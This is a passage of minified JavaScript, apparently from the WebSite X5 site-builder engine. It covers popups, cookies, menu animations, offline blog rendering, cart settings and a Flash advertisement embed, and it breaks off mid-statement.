var _jq=$.noConflict(!0);try{window.$=_jq,window.jQuery=_jq}catch(Excp){} _jq.imCookie=function(a,b,d){if(null!=b){d=d||{};if(null==d.expires)d.expires=60;if(null===b)b="",d.expires=-1;var c="";if(d.expires&&("number"==typeof d.expires||d.expires.toUTCString))"number"==typeof d.expires?(c=new Date,c.setTime(c.getTime()+864E5*d.expires)):c=d.expires,c="; expires="+c.toUTCString();var e=d.path?"; path="+d.path:"",h=d.domain?"; domain="+d.domain:";",d=d.secure?"; secure":"";document.cookie=[a,"=",encodeURIComponent(b),c,e,h,d].join("")}else{b=null;if(document.cookie&&""!== document.cookie){d=document.cookie.split(";");for(c=0;c<d.length;c++)if(e=_jq.trim(d[c]),e.substring(0,a.length+1)==a+"="){b=decodeURIComponent(e.substring(a.length+1));break}}return b}};_jq.extend(_jq.easing,{imBounce:function(a,b,d,c,e){return(b/=e)<1/2.75?c*7.5625*b*b+d:b<2/2.75?c*(7.5625*(b-=1.5/2.75)*b+0.75)+d:b<2.5/2.75?c*(7.5625*(b-=2.25/2.75)*b+0.9375)+d:c*(7.5625*(b-=2.625/2.75)*b+0.984375)+d}}); var x5engine={settings:{imGrid:{enabled:!1},imSound:{idName:"imJSSound"},imCaptcha:{offlineCodes:[]},zIndex:{menu:1E4,datePicker:10201,tip:10221,showBox:10301,splashBox:10401,popup:10501},general:{preview:!0},imShowBox:{background:"black",opacity:0.6,border:10,closeImg:"res/imClose.png",loadingImg:"res/imLoad.gif",textColor:"black",boxColor:"white",effect:"fade",shadow:!1,innerBorder:12},imPopUp:{background:"black",opacity:0.6,borderRadius:10,textColor:"black",boxColor:"white",effect:"fade",shadow:!1}, imTip:{borderRadius:10,classes:"",shadow:!0,arrow:!0,position:"right",effect:"fade",showTail:!0,persistant:!1,unique:!0},imAdv:{},imAlertBox:{position:"top",sound:"",cookie:!1,image:"",link:""},imSplashBox:{position:"center",sound:"",effect:"none",shadow:!0,margin:0,width:100,height:100,cookie:!1,image:"",link:""},imBlog:{posts:[],posts_month:[],posts_cat:[],posts_ids:[],comments:!1,captcha:!1}},l10n:{_l10n:[],addLocalization:function(a,b){x5engine.l10n._l10n[a]=b},getLocalization:function(a){return null== a||""==a||null==x5engine.l10n._l10n[a]||"undefined"==x5engine.l10n._l10n[a]||""==x5engine.l10n._l10n[a]?"":x5engine.l10n._l10n[a]}},utils:{hex2rgb:function(a,b,d,c){for(var a=a.replace("#","").match(/(.{2})/g),e=3;e--;)a[e]=parseInt(a[e],16);null!=b&&(a[0]+=b);null!=d&&(a[1]+=d);null!=c&&(a[2]+=c);for(e=0;3>e;e++)255<a[e]&&(a[e]=255),0>a[e]&&(a[e]=0);return"rgb("+a.join(", ")+")"},imFormatInt:function(a){10>a&&(a="0"+a);return a},popup:function(a){(new x5engine.utils.Gui).showPopUp(a)},Gui:function(){var a= function(a){_jq("#imGuiPopUp").fadeOut(a);_jq("#imGuiPopUpBg").fadeOut(a,function(){_jq("#imGuiPopUp").remove();_jq("#imGuiPopUpBg").remove()})};this.showPopUp=function(b){b.width=b.width||x5engine.settings.imPopUp.width;b.borderRadius=b.borderRadius||x5engine.settings.imPopUp.borderRadius;b.backGround=b.background||x5engine.settings.imPopUp.background;b.effect=b.effect||x5engine.settings.imPopUp.effect;b.textColor=b.textColor||x5engine.settings.imPopUp.textColor;b.boxColor=b.boxColor||x5engine.settings.imPopUp.boxColor; b.opacity=b.opacity||x5engine.settings.imPopUp.opacity;if(null==b.graphics)b.graphics=!0;if(b.graphics){b.text=b.text.replace(/&amp;/g,"&").replace(/\&gt;/g,">").replace(/\&lt;/g,"<");var d;d="none"!=b.effect?200:0;if(null==b.shadow)b.shadow=x5engine.settings.imPopUp.shadow;_jq("#imGuiPopUpBG").remove();_jq("#imGuiPopUp").remove();var c='<div id="imGuiPopUpBg"></div><div id="imGuiPopUp">'+b.text+'<div id="imCloseButton" class="imGuiButton">OK</div></div>';_jq("body").append(c);_jq("#imGuiPopUpBg").css({zIndex:x5engine.settings.zIndex.popup}); _jq("#imGuiPopUp").css({zIndex:x5engine.settings.zIndex.popup+1});_jq("#imGuiPopUp").fadeOut(0);b.shadow&&(_jq("#imGuiPopUp").css("box-shadow","0px 5px 30px #000"),_jq("#imGuiPopUp").css("-webkit-box-shadow","0px 5px 30px #000"),_jq("#imGuiPopUp").css("-moz-box-shadow","0px 5px 30px #000"));_jq("#imGuiPopUp").css("-moz-border-radius",b.borderRadius+"px");_jq("#imGuiPopUp").css("-webkit-border-radius",b.borderRadius+"px");_jq("#imGuiPopUp").css("border-radius",b.borderRadius+"px");_jq(".imGuiButton").css("-moz-border-radius", b.borderRadius+"px");_jq(".imGuiButton").css("-webkit-border-radius",b.borderRadius+"px");_jq(".imGuiButton").css("border-radius",b.borderRadius+"px");_jq("#imGuiPopUpBg").css({width:_jq(window).width(),height:_jq(window).height()});_jq("#imGuiPopUp").width(b.width);_jq("#imGuiPopUp").css({position:"fixed",top:(_jq(window).height()-_jq("#imGuiPopUp").outerHeight())/2,left:(_jq(window).width()-_jq("#imGuiPopUp").outerWidth())/2});_jq("#imGuiPopUpBg").click(function(){a(d)});_jq("#imCloseButton").click(function(){a(d)}); _jq("#imGuiPopUp").fadeIn(d);_jq("#imGuiPopUpBg").fadeOut(1,function(){_jq("#imGuiPopUpBg").fadeTo(d,b.opacity)})}else alert(b.text.replace(/&amp;/g,"&").replace(/\&gt;/g,">").replace(/\&lt;/g,"<").replace(/<br[\s]*\/>/g,"\n").replace(/<([A-Z][A-Z0-9]*)\b[^>]*\/?>/g,""))};this.removeLabels=function(){_jq(".imGuiLabel").remove()};this.showLabel=function(a){for(var d=0;0<_jq("#imGuiLabel"+d).length;)d++;var d="imGuiLabel"+d,c="<div class='imGuiLabel' id='"+d+"'>"+a.text+"</div>";_jq("body").append(c); var e=_jq("#"+d);e.css("box-shadow","0px 0px 7px #aaa");e.css("-webkit-box-shadow","0px 0px 7px #aaa");e.css("-moz-box-shadow","0px 0px 7px #aaa");e.css("-moz-border-radius","3px");e.css("-webkit-border-radius","3px");e.css("border-radius","3px");null!==a.object?(a=_jq(a.object),d=a.offset(),c=d.top+Math.floor((a.outerHeight()-e.outerHeight())/2),0>c&&(c=0),e.css({position:"absolute",top:c,left:d.left+a.outerWidth()+10})):(e.css({width:200,height:50,padding:10}),a=e.outerHeight(),e.css({position:"fixed", bottom:-a,right:30,overflow:"hidden",cursor:"pointer"}),e.animate({bottom:10}));e.fadeTo(300,0.8);e.click(function(){e.fadeOut(100,function(){e.remove()})})}},createId:function(a){for(var a=a||"imObj",b=0;0<_jq("#"+a+b).length;)b++;return a+b},imGetParameter:function(a){var b="",d=0,c=0;0!==window.top.location.search&&(b=unescape(window.top.location.search));a+="=";if(0<b.length&&(d=b.indexOf(a),-1!=d)){d+=a.length;c=b.indexOf("&",d);if(-1==c)c=b.length;return b.substring(d,c)}return null},imPreloadImages:function(a){for(var b= 0;b<a.length;b++)(new Image).src=a[b]},imOpenLocation:function(a){document.location=a},imGetLayer:function(a){return _jq(a)},imCodeProtection:function(a){document.oncontextmenu=function(){alert("Copyrights "+a+". All rights reserved.");return!1}},imFocus:function(a,b){_jq(a).css("background-color",b)},imSoundLink:{getMimeType:function(){var a="application/x-mplayer2",b=navigator.userAgent.toLowerCase();navigator.mimeTypes&&-1==b.indexOf("windows")&&navigator.mimeTypes["audio/mpeg"].enabledPlugin&& (a="audio/mpeg");return a},Play:function(a,b){null==b&&(b=!1);x5engine.utils.imSoundLink.Stop();_jq("body").append('<embed type="'+x5engine.utils.imSoundLink.getMimeType()+'" style="height:0" id="'+x5engine.settings.imSound.idName+'" src="'+a+'" loop="'+b+'" autostart="true" hidden="true" />')},Stop:function(){_jq("#"+x5engine.settings.imSound.idName).remove()}},imPopUpWin:function(a,b,d,c,e,h){void 0==e&&(e=!1);void 0==h&&(h=1);void 0==d&&(d=-1);void 0==c&&(c=-1);window.open(a,"",!0==e?"":-1==d|| -1==c?"width="+screen.width+",height="+screen.height+",top=0,left=0,scrollbars="+h+",location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no":"width="+d+",height="+c+",top="+(screen.height?(screen.height-c)/2:100)+",left="+(screen.width?(screen.width-d)/2:100)+",scrollbars="+h+",location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no").focus();return!1},switchFocus:function(a){_jq(a).find(":input").each(function(){var a=_jq(this).attr("type");"button"!=a&&"submit"!= a&&"reset"!=a&&(_jq(this).focus(function(){_jq(this).addClass("imFormFocus")}),_jq(this).blur(function(){_jq(this).removeClass("imFormFocus")}))})},isOnline:function(){return"http"==window.top.location.href.substring(0,4)?!0:!1},emailTo:function(a,b){for(var d="",c=0;c<a.length;c++)var e=parseInt(a.charAt(c),10),h=b.substring(0,e),b=b.substring(e),d=h+d;location.href="mailto:"+d},bookmark:function(a,b){try{if(window.sidebar)window.sidebar.addPanel(b,a,"");else if(window.opera){var d=document.createElement("A"); d.rel="sidebar";d.target="_search";d.title=b;d.href=a;d.click()}else document.all?window.external.AddFavorite(a,b):window.open(a)}catch(c){window.open(a)}},setHomepage:function(a,b){if(document.all)try{a.style.behavior="url(#default#homepage)",a.setHomePage(b)}catch(d){window.open(b)}else if(window.sidebar)try{window.netscape&&netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"),Components.classes["@mozilla.org/preferences-service;1"].getService(Components.interfaces.nsIPrefBranch).setCharPref("browser.startup.homepage", b)}catch(c){}},location:function(a){window.top.location.href=a},getParam:function(a){var b="",d=0,c=0;0!=window.top.location.search&&(b=unescape(window.top.location.search));a+="=";if(0<b.length&&(d=b.indexOf(a),-1!=d)){d+=a.length;c=b.indexOf("&",d);if(-1==c)c=b.length;return b.substring(d,c)}return null},offlineMessageTimeout:null,showOfflineMessage:function(a,b,d){var c=function(){_jq("#imMsgBoxF").height(_jq("#imMsgBox").outerHeight())};if(!x5engine.utils.isOnline()){if(0<_jq("#imMsgBox").length&& -1!==_jq("#imMsgBox").html().indexOf(a))return!1;_jq("#imMsgBox, #imMsgBoxF").remove();b=b||"";d="z-index: 10200; position: fixed; top: 0; left: 0; right: 0; padding: 8px; background-color: "+(d||"#FFFFE1")+"; font-family: Tahoma; font-size: 8pt; border-bottom: 1px solid gray;";0==_jq("#imMsgBox").length&&(_jq("body").prepend('<div id="imMsgBoxF">&nbsp;</div>'),_jq("body").prepend('<div id="imMsgBox" style="'+d+'">'+(""!=b?'<img style="float: left;" src="'+b+'" />':"")+'<span style="float: left;">'+ a+'</span><span id="imMsgBoxClose" style="float: right; cursor: pointer;"><b>X</b></span></div>'));c();_jq("#imMsgBox, #imMsgBoxF").fadeOut(0);_jq("#imMsgBox, #imMsgBoxF").slideDown("slow");_jq(window).unbind("resize",c).resize(c);_jq("#imMsgBoxClose").unbind("click").click(function(){_jq("#imMsgBox, #imMsgBoxF").slideUp("slow",function(){_jq("#imMsgBox, #imMsgBoxF").remove()})})}return!1},alignWelcomePage:function(){var a=function(){var a=_jq(window).height()-_jq("#imCell_1").outerHeight();0<_jq("#imCell_2").length&& (a-=_jq("#imCell_2").outerHeight());a/=2;0>a&&(a=0);_jq("#imContent").css({marginTop:a})};a();_jq(window).unbind("resize",a).resize(a)},autoHeight:function(){_jq(".autoHeight").each(function(){_jq(this).height("auto")})},imHash:function(a){for(var b="",d=0,c=a.length-1;0<=c;c--)d+=a.charCodeAt(c)*Math.pow(2,a.length-c);d=834*d+"";for(a=0;0<d.length;)a+=2*(parseInt(d.charAt(0))+5),d=d.substr(1),61<a&&(a-=61),b+="QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890".charAt(a);return b}},imBlog:{separator:'<div class="imBlogSeparator"></div>\n', showPost:function(a,b,d){var c,b=b||0,d=d||0,e=x5engine.settings.imBlog.posts[a];if(null!=e){c=""+('<h2 id="imPgTitle" style="display: block;">'+e.title+"</h2>");c+='<div class="imBreadcrumb" style="display: block;">'+x5engine.l10n.getLocalization("blog_published_by")+"<strong> "+e.author+" </strong>";c+=x5engine.l10n.getLocalization("blog_in")+' <a href="?category='+e.category.replace(/[\s]{1}/g,"_")+'">'+e.category+"</a> &#149; "+e.timestamp;null!=e.media&&(c+=' &#149; <a href="'+e.media+'">Download '+ e.media.substring(e.media.lastIndexOf("/"))+"</a>");if(0<e.tag.length){c+="<br />Tags: ";for(var h=0;h<e.tag.length;h++)c+='<a href="?tag='+e.tag[h]+'">'+e.tag[h]+"</a>,&nbsp;"}c+="</div>";if(0!=b||0!=d){c+='<div class="imBlogPostBody">';null!=e.mediahtml&&(c+=e.mediahtml);c+=e.body;if(0<e.sources.length){c=c+'<div class="imBlogSources">'+("<b>"+x5engine.l10n.getLocalization("blog_sources")+":</b><br />");c+="<ul>";for(d=0;d<e.sources.length;d++)c+="<li>"+e.sources[d]+"</li>";c+="</ul></div>"}c+= (null!=x5engine.settings.imBlog.addThis?"<br />"+x5engine.settings.imBlog.addThis:"")+"<br /><br /></div>"}else c+='<div class="imBlogPostSummary">'+e.summary+"</div>";0==b&&(c+='<div class="imBlogPostRead"><a class="imCssLink" href="?id='+a+'">'+x5engine.l10n.getLocalization("blog_read_all")+" &#187;</a></div>");0!=b&&x5engine.settings.imBlog.comments&&(c=c+'<div class="imBlogPostComments">'+('<div class="imBlogCommentsCount">'+x5engine.l10n.getLocalization("blog_no_comment")+"</div>"),c=c+'<div class="imBlogCommentsForm" style="width: 300px;"><form id="blogComment" action="#"><div class="imBlogCommentRow">'+ ('<label for="form_name" style="float: left;">'+x5engine.l10n.getLocalization("blog_name")+'*</label> <input type="text" id="form_name" name="name" class="imfield mandatory" style="float: right;" />'),c=c+'</div><div class="imBlogCommentRow">'+('<label for="form_email" style="float: left;">'+x5engine.l10n.getLocalization("blog_email")+'*</label> <input type="text" id="form_email" name="email" class="imfield mandatory valEmail" style="float: right;" />'),c=c+'</div><div class="imBlogCommentRow">'+ ('<label for="form_url" style="float: left;">'+x5engine.l10n.getLocalization("blog_website")+'</label> <input type="text" id="form_url" name="url" style="float: right;" class="imfield" />'),c=c+'</div><div class="imBlogCommentRow">'+('<label for="form_body" style="clear: both;">'+x5engine.l10n.getLocalization("blog_message")+'*</label><textarea id="form_body" name="body" class="imfield mandatory" style="width: 100%; height: 100px;"></textarea>'),c+="</div>",x5engine.settings.imBlog.captcha&&(c=c+ '<div class="imBlogCommentRow" style="text-align: center">'+('<label for="imCpt" style="float: left;">'+x5engine.l10n.getLocalization("form_captcha_title")+'</label>&nbsp;<input type="text" id="imCpt" name="imCpt" class="imfield imCpt[5,../]" size="5" style="width: 120px; margin: 0 auto;" />'),c+="</div>"),c+='<div class="imBlogCommentRow" style="text-align: center; margin-bottom: 15px;"><input type="button" value="'+x5engine.l10n.getLocalization("blog_send")+'" class="imBlogCommentSubmitBtn" onclick="x5engine.imBlog.offlineCheck()"/></div>', c+="</form></div></div>");return c}},offlineCheck:function(){x5engine.imForm.validate("#blogComment",{type:"tip",showAll:!0})&&x5engine.utils.showOfflineMessage(x5engine.l10n.getLocalization("blog_offline_message"))},showCategory:function(a){var b="";bps=x5engine.settings.imBlog.posts_cat[a];if(null!=bps){if(0<bps.length)for(a=0;a<bps.length;a++)b+=x5engine.imBlog.showPost(bps[a],0,a==bps.length-1?1:0),0<a&&(b+=x5engine.imBlog.separator);else b+='<div class="imBlogEmpty">Empty category</div>';return b}}, showMonth:function(a){var b="";bps=x5engine.settings.imBlog.posts_month[a];if(null!=bps){if(0<bps.length)for(a=0;a<bps.length;a++)b+=x5engine.imBlog.showPost(bps[a],0,a==bps.length-1?1:0),0<a&&(b+=x5engine.imBlog.separator);else b+='<div class="imBlogEmpty">Empty month</div>';return b}},showSearch:function(a){var b="",d=x5engine.settings.imBlog.posts_ids,c=0;if(null!=d){if(0<d.length){for(var e=0;e<d.length;e++)if(-1!=x5engine.settings.imBlog.posts[d[e]].title.indexOf(a)||-1!=x5engine.settings.imBlog.posts[d[e]].summary.indexOf(a)|| -1!=x5engine.settings.imBlog.posts[d[e]].body.indexOf(a))b+=x5engine.imBlog.showPost(d[e],0,c==d.length-1?1:0),c++,0<e&&(b+=x5engine.imBlog.separator);0==c&&(b+='<div class="imBlogEmpty">Empty search</div>')}else b+='<div class="imBlogEmpty">Empty blog</div>';return b}},showLast:function(a){var b=x5engine.settings.imBlog.posts_ids,d="";if(null!=b){if(0<b.length)for(var a=b.length<a?b.length:a,c=0;c<a;c++)d+=x5engine.imBlog.showPost(b[c],0,0==c?1:0),0<c&&(d+=x5engine.imBlog.separator);else d+='<div class="imBlogEmpty">Empty blog</div>'; return d}},showTag:function(a){var b=x5engine.settings.imBlog.posts_ids,d="";if(null!=b){if(0<b.length)for(var c=0;c<b.length;c++){for(var e=x5engine.settings.imBlog.posts[b[c]].tag,h=!1,g=0;g<e.length;g++)e[g]==a&&(h=!0);h&&(d+=x5engine.imBlog.showPost(b[c],0,c==b.length-1?1:0),0<c&&(d+=x5engine.imBlog.separator))}else d+='<div class="imBlogEmpty">Empty blog</div>';return d}},show:function(){x5engine.utils.isOnline()||(null!=x5engine.utils.getParam("id")?_jq("#imBlogContent").empty().append(x5engine.imBlog.showPost(x5engine.utils.getParam("id"), 1)):null!=x5engine.utils.getParam("category")?_jq("#imBlogContent").empty().append(x5engine.imBlog.showCategory(x5engine.utils.getParam("category"))):null!=x5engine.utils.getParam("tag")?_jq("#imBlogContent").empty().append(x5engine.imBlog.showTag(x5engine.utils.getParam("tag"))):null!=x5engine.utils.getParam("month")?_jq("#imBlogContent").empty().append(x5engine.imBlog.showMonth(x5engine.utils.getParam("month"))):null!=x5engine.utils.getParam("search")?_jq("#imBlogContent").empty().append(x5engine.imBlog.showSearch(x5engine.utils.getParam("search"))): _jq("#imBlogContent").empty().append(x5engine.imBlog.showLast(10)),_jq("#imContent").change())}},imQueue:{_init_payload:[],_close_payload:[],_init_setted_up:!1,_close_setted_up:!1,_close_queue_executed:!1,_exec:function(a){for(var b=0;b<a.length;b++)try{_jq.globalEval(a[b]+";")}catch(d){}},push_init:function(a,b){b=b||!1;if(!b&&-1==_jq.inArray(a,x5engine.imQueue._init_payload)||b)x5engine.imQueue._init_payload[x5engine.imQueue._init_payload.length]=a;if(!x5engine.imQueue._init_setted_up)_jq(document).ready(function(){x5engine.imQueue._exec(x5engine.imQueue._init_payload)}), x5engine.imQueue._init_setted_up=!0},push_close:function(a,b){b=b||!1;if(!b&&-1==_jq.inArray(a,x5engine.imQueue._close_payload)||b)x5engine.imQueue._close_payload[x5engine.imQueue._close_payload.length]=a;if(!x5engine.imQueue._close_setted_up)_jq(window).bind("beforeunload",function(){if(!x5engine.imQueue._close_queue_executed)x5engine.imQueue._close_queue_executed=!0,x5engine.imQueue._exec(x5engine.imQueue._close_payload)}),x5engine.imQueue._close_setted_up=!0}},imMenu:{setup:function(a){a.target= a.target||"#imMnMn";a.orientation=a.orientation||"horizontal";a.type=a.type||"singleColumn";a.effect=a.effect||"fade";a.opacity=a.opacity||1;a.timeout=a.timeout||300;a.animationTime=a.animationTime||200;a.menuHeight=a.menuHeight||25;a.submenuHeight=a.submenuHeight||25;if(null==a.verticalScroll)a.verticalScroll=!1;var b=_jq(a.target),d,c=/MSIE 7/.test(navigator.userAgent);/MSIE 8/.test(navigator.userAgent);var e=[],h=[],g,f,i,j=function(b,c){if(b.parent().closest("ul").parent().attr("id")!=_jq(a.target).attr("id")&& !(null==b||0==b.length))b.data("flip-direction",c),0>c?b.css({marginLeft:-b.parent("li").width()-b.width()}):b.css({marginLeft:0})},k=function(b){b.children("ul, div").stop(!0,!0);0<b.children("ul, div").length&&b.siblings("li").each(function(){null!=h[_jq(this).attr("id")]&&(clearTimeout(h[_jq(this).attr("id")]),o(_jq(this)))});if("multipleColumn"!=a.type){var c=b.offset();b.closest("ul").data("flip-direction")!=b.children("ul").data("flip-direction")&&j(b.children("ul"),b.closest("ul").data("flip-direction")); 1==b.children("ul").data("flip-direction")&&c.left+b.width()+b.children("ul").width()>_jq(window).width()+_jq(window).scrollLeft()&&j(b.children("ul"),-1);-1==b.children("ul").data("flip-direction")&&c.left-b.width()<_jq(window).scrollLeft()&&j(b.children("ul"),1)}switch(a.effect){case "fade":b.children("ul,div").fadeIn(a.animationTime);break;case "v-slide":b.children("ul,div").slideDown(a.animationTime);break;case "h-slide":if(0<b.children(".jsOverflowControl").length){if("false"==b.children(".jsOverflowControl").attr("vis")|| null==b.children(".jsOverflowControl").attr("vis"))b.children(".jsOverflowControl").attr("vis","true").width("auto"),c=e[b.children(".jsOverflowControl").attr("id_number")].width,"horizontal"!=a.orientation&&b.children(".jsOverflowControl").children("div").css({marginTop:0,marginLeft:0}),b.children(".jsOverflowControl").css({overflow:"hidden",width:0}),b.children(".jsOverflowControl").fadeIn(1).animate({width:c},a.animationTime,null,function(){_jq(this).css("overflow","visible")})}else if("false"== b.children("ul").attr("vis")||null==b.children("ul").attr("vis"))b.children("ul").attr("vis","true").width("auto").height("auto"),c=b.children("ul").width(),b.children("ul.autoHide").css({overflow:"hidden",width:0}),b.children("ul.autoHide").fadeIn(1).animate({width:c},a.animationTime,null,function(){_jq(this).css("overflow","visible")});break;case "b-slide":if(0<b.children(".jsOverflowControl").length){if("false"==b.children(".jsOverflowControl").attr("vis")||null==b.children(".jsOverflowControl").attr("vis")){b.children(".jsOverflowControl").attr("vis", "true").width("auto");var c=e[b.children(".jsOverflowControl").attr("id_number")].width,d=e[b.children(".jsOverflowControl").attr("id_number")].height;"horizontal"!=a.orientation&&b.children(".jsOverflowControl").children("div").css({marginTop:0,marginLeft:0});b.children(".jsOverflowControl").css({overflow:"hidden",width:0,height:0});b.children(".jsOverflowControl").fadeIn(1).animate({width:c,height:d},a.animationTime,null,function(){_jq(this).css("overflow","visible")})}}else if("false"==b.children("ul").attr("vis")|| null==b.children("ul").attr("vis"))b.children("ul").attr("vis","true").width("auto").height("auto"),c=b.children("ul").width(),d=b.children("ul").height(),b.children("ul.autoHide").css({overflow:"hidden",width:0,height:0}),b.children("ul.autoHide").fadeIn(1).animate({width:c,height:d},a.animationTime,null,function(){_jq(this).css("overflow","visible")});break;default:b.children("ul,div").fadeIn(1)}},o=function(b){b.children("ul,div").stop(!0,!0);b.children("ul, div").each(function(){_jq(this).children("li, ul").each(function(){_jq(this).is("ul")? _jq(this).children("li").each(function(){o(_jq(this))}):o(_jq(this))})});switch(a.effect){case "fade":b.children("ul,div").fadeOut(a.animationTime);break;case "v-slide":b.children("ul,div").slideUp(a.animationTime);break;case "h-slide":0==b.children("div").length?b.children("ul").animate({width:0},a.animationTime,"swing",function(){_jq(this).fadeOut(0);_jq(this).attr("vis","false")}):b.children("div").animate({width:0},a.animationTime,"swing",function(){_jq(this).fadeOut(0);_jq(this).attr("vis","false")}); break;case "b-slide":0==b.children("div").length?b.children("ul").animate({width:0,height:0},a.animationTime,"swing",function(){_jq(this).fadeOut(0);_jq(this).css("overflow","hidden");_jq(this).attr("vis","false")}):b.children("div").animate({width:0,height:0},a.animationTime,"swing",function(){_jq(this).fadeOut(0);_jq(this).css("overflow","hidden");_jq(this).attr("vis","false")});break;case "none":b.children("ul,div").fadeOut(1)}};b.find(".auto").removeClass("auto").addClass("autoHide");b.find("ul").data("flip-direction", 1);"multipleColumn"==a.type&&("h-slide"==a.effect||"b-slide"==a.effect)&&b.find("li > div").each(function(){var a=_jq(this).width(),b=_jq(this).height(),c=e.length;_jq(this).wrapInner('<div style="display: block; width: '+a+"px; height: "+b+'px;" />').addClass("jsOverflowControl");_jq(this).attr("id_number",c);e[c]={width:a,height:b};_jq(this).css({overflow:"hidden",width:a,height:b})});c&&"multipleColumn"!=a.type&&(_jq("#imMnMn ul ul ul").css({marginTop:-a.submenuHeight,marginLeft:0}),_jq("#imMnMn ul ul").css({marginLeft:0})); c&&"horizontal"==a.orientation&&(_jq("#imMnMn > ul > li > ul, #imMnMn > ul > li > div").css("margin-top",0),"multipleColumn"==a.type&&_jq("#imMnMn > ul > li > div").css("margin-left",0));if("accordion"==a.type){_jq(".imMnMnTxt img").css("position");var l,p=function(){l=0<_jq("#imFooPad").length?_jq("#imFooPad").height():_jq("#imContent").height()},q=function(){var b=1*_jq("#imMnMn").css("padding-top").replace(/px/g,""),c=_jq("#imFooPad"),d=_jq("#imMnMn"),e=_jq("#imContent");a.verticalScroll&&(b+= 1*d.children("ul").css("margin-top").replace(/px/g,""),_jq(window).unbind("scroll",q).scroll(q));0<c.length?c.height(Math.max(l,b+d.children("ul").outerHeight()-(e.height()-c.height()))):(b=Math.max(l,b+d.children("ul").outerHeight()),d=_jq("#imBtMn"),a.verticalScroll&&0<d.length&&0==c.length&&d.css("margin-top",Math.max(0,b-l+15)),e.height(b))};_jq("#imContent").change(function(){_jq("#imContent").height("auto");p();q()});_jq("#imMnMn > ul > li > ul").slideUp(0);_jq("#imMnMn > ul > li > span.imMnMnFirstBg").click(function(){_jq(this).parent().siblings("li").each(function(){_jq(this).children("ul").slideUp(a.animationTime)}); _jq(this).siblings("ul").children("ul").hide(0);_jq(this).siblings("ul").slideToggle(a.animationTime,q)});p();q();b=_jq("#imMnMn > ul > li > ul")}b.find("li").hover(function(){var a=_jq(this),b=a.attr("id");null!=h[b]&&clearTimeout(h[b]);a.find("div ul ul").hide();h[b]=setTimeout(function(){k(a)},300)});b.find("li").mouseleave(function(){var b=_jq(this),c=b.attr("id");null!=h[c]&&clearTimeout(h[c]);h[c]=setTimeout(function(){o(b)},a.timeout)});if(a.verticalScroll)d=_jq(a.target),"accordion"==a.type&& (d=d.children("ul")),g=d.offset(),g=g.top,i=_jq(document).height(),f=d.position(),_jq(window).scroll(function(){d.stop(!0,!1);var a=d.offset(),b=d.position();((0>a.top-_jq(window).scrollTop()||_jq(window).scrollTop()>g)&&_jq(window).scrollTop()+d.height()<i||f.top<b.top)&&0<_jq(window).scrollTop()-g?d.animate({marginTop:_jq(window).scrollTop()-g},"medium"):0>=_jq(window).scrollTop()-g&&d.animate({marginTop:0},"fast")})}},imCart:{products:{},html_form:"",payments:[],shippings:[],settings:{vat:0,vatincluded:!1, currency:"\u20ac",currency_id:"EUR",currency_format:"#.###,@@[C]",post_url:"x5cart.php",order_no_format:"[yy][mm][dd]-[A-Z][A-Z][0-9][0-9]",form_autocomplete:!0,form_validation:"tip",continue_shopping_page:"index.html",currencies:["USD","EUR"],cart_price:{multiplier:1,format:"#.@"}},costants:{QUANT_FIELD_NAME:"product_{id}_qty",OPT_FIELD_NAME:"product_{id}_opt",COOKIE_NAME:"imCart",COOKIE_FORM_NAME:"imCartFormData",WIDGET_NAME:"imCartWidget"},payment_type:null,shipping_type:null,email_data:null,product_price_plus_vat:0, total_price:0,setupProductList:function(){_jq(".imProductListText").each(function(){if(_jq(this).hasClass("imTypeImage")){if(/MSIE/.test(navigator.userAgent)){var a=0;_jq(this).parent().find(".imProductListBoxAdd img").each(function(){a+=_jq(this).width()+5});a+=_jq(this).parent().find(".imProductListQuantity").width()+5;_jq(this).parent().find(".imProductListBoxAdd").css({width:a})}var b=_jq(this).parent().find(".imProductListImage img"),d=_jq(this).parent().find(".imProductListImage"),c=_jq(this).parent().innerHeight()- _jq(this).find(".imProductListBuyBox").outerHeight();c<b.height()&&(b.width(Math.floor(c/b.height()*b.width())),b.height(c),d.height(c),b.css({marginTop:0}),_jq(this).find(".imProductListBuyBox").css({position:"relative",top:0,bottom:0,margin:0,padding:0,clear:"both"}))}else _jq(this).find(".imProductListBuyBox").css({height:"auto"}),_jq(this).find(".imProductListFooter").css({height:"auto"}),b=_jq(this).find(".imProductListFooter select").outerHeight()+_jq(this).find(".imProductListBuyBox").outerHeight(), d=_jq(this).innerHeight()-b-20,_jq(this).find(".imProductListFooter").css({height:b+10}),_jq(this).find(".imProductListDescription").css({height:d})})}},imAdv:{width:null,height:null,imShowAdv:function(a,b,d,c,e){var h=/MSIE [6]/.test(navigator.userAgent);x5engine.imAdv.width=a;x5engine.imAdv.height=a;var g='<div id="imWebSiteX5Adv" style="height: '+a/4+"px; width: "+a/4+'px;">',f=x5engine.utils.isOnline()?0:1;h?_jq("body").append(g+'<object id="imWebSiteX5AdvObj" style="left: -'+parseInt(a-a/4)+ 'px" data="res/x5ad.swf?File='+d+"&SoundFile="+escape(c)+"&Url="+e+"&Scale="+b+"&Preview="+f+'" type="application/x-shockwave-flash" width="'+a+'" height="'+a+'"><param name="movie" value="x5advcorner.swf?File='+d+"&SoundFile="+c+"&Url="+e+"&Scale="+b+"&Preview="+f+'"><param name="wmode" value="transparent"><param name="menu" value="false"><param name="allowscriptaccess" value="samedomain"><param name="quality" value="high"><param name="flashvars" value="Licence=Only_For_Incomedia_WebSiteX5&Copyrights=WebSiteX5.com"></object></div>'): _jq("body").append(g+'<embed id="imWebSiteX5AdvObj" style="left: -'+parseInt(a-a/4)+'px" src="res/x5ad.swf?File='+d+"&SoundFile="+escape(c)+"&Url="+e+"&Scale="+b+"&Preview="+f+'" type="application/x-shockwave-flash" width="'+a+'" height="'+a+'" wmode="transparent" menu="false" allowscriptaccess="samedomain" quality="high" flashvars="Licence=Only_For_Incomedia_WebSiteX5&Copyrights=WebSiteX5.com"></embed></div>');var i=_jq("#imWebSiteX5Adv");i.css({padding:0,margin:0});if(f){var j=_jq("#imWebSiteX5AdvObj"), 